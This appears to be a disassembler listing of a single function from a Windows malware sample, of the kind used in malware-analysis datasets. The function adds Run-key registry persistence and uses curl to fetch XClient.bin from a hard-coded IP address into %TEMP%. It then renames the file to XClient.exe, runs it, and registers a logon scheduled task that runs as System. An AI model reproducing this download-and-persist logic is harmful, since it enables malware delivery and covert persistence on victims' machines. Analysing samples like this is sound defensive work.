Function at 0x140002f20
Capabilities:
Move file
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov r8d, 0x104
lea rax, [0x140005380]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov r9, qword [0x140005960]
mov r8, qword [str.here]
mov rcx, qword [0x140005980]
mov rdx, qword [str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun]
mov rax, qword [0x140004120]
mov rbx, qword [0x1400054b0]
mov r11, qword [0x140004130]
lea r10, [0x140005380]
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, r11
lea rax, str._s___s__s__s__s__s__s_REG_SZ__d___s__
mov rdx, rax
lea rax, [0x1400046e0]
mov rcx, rax
call fcn.140002530
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x1400046e0]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 4], eax
mov r8d, 0x104
mov edx, 0
lea rax, [0x140005380]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov r8d, 0x104
mov edx, 0
lea rax, [0x1400046e0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rbx, qword [str.XClient.exe]
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov r9, rbx
mov r8, rax
lea rax, str._s_s
mov rdx, rax
lea rax, [0x140005380]
mov rcx, rax
call fcn.140002530
mov r9, qword [0x140005960]
mov r8, qword [str._here]
mov rcx, qword [0x140005980]
mov rdx, qword [str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun]
mov rax, qword [0x140004120]
mov rbx, qword [0x1400054b0]
mov r11, qword [0x140004130]
lea r10, [0x140005380]
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, r11
lea rax, str._s___s__s__s__s__s__s_REG_SZ__d___s__
mov rdx, rax
lea rax, [0x1400046e0]
mov rcx, rax
call fcn.140002530
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x1400046e0]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 8], eax
mov rdx, qword [str.XClient.bin]
mov rax, qword [str.XClient.exe]
mov r8, qword [str.curl]
mov rcx, qword [0x140004130]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
lea rax, str.http:__90.61.145.105
mov qword [rsp + 0x20], rax
mov r9, r8
mov r8, rcx
lea rax, str._s__s__s__s___output__s
mov rdx, rax
lea rax, [0x140005040]
mov rcx, rax
call fcn.140002530
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x140005040]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 0xc], eax
mov rbx, qword [str.XClient.exe]
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdx, qword [0x140004130]
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, rdx
lea rax, str._s__schtasks__create__tn_Galerie__tr___s_s___sc_onlogon__ru_System_
mov rdx, rax
lea rax, [0x140004a00]
mov rcx, rax
call fcn.140002530
mov rdx, qword [str.XClient.exe]
mov rax, qword [str.XClient.bin]
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
mov rax, qword [str.XClient.exe]
mov r8d, 1
mov edx, 0
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 0x10], eax
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x140004a00]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 0x14], eax
cmp dword [rbp - 4], 0
je 0x140003219
cmp dword [rbp - 8], 0
je 0x140003219
cmp dword [rbp - 0xc], 0
je 0x140003219
cmp dword [rbp - 0x10], 0
je 0x140003219
cmp dword [rbp - 0x14], 0
je 0x140003219
mov eax, 1
jmp 0x14000321e
mov eax, 0
add rsp, 0x78
pop rbx
pop rbp
ret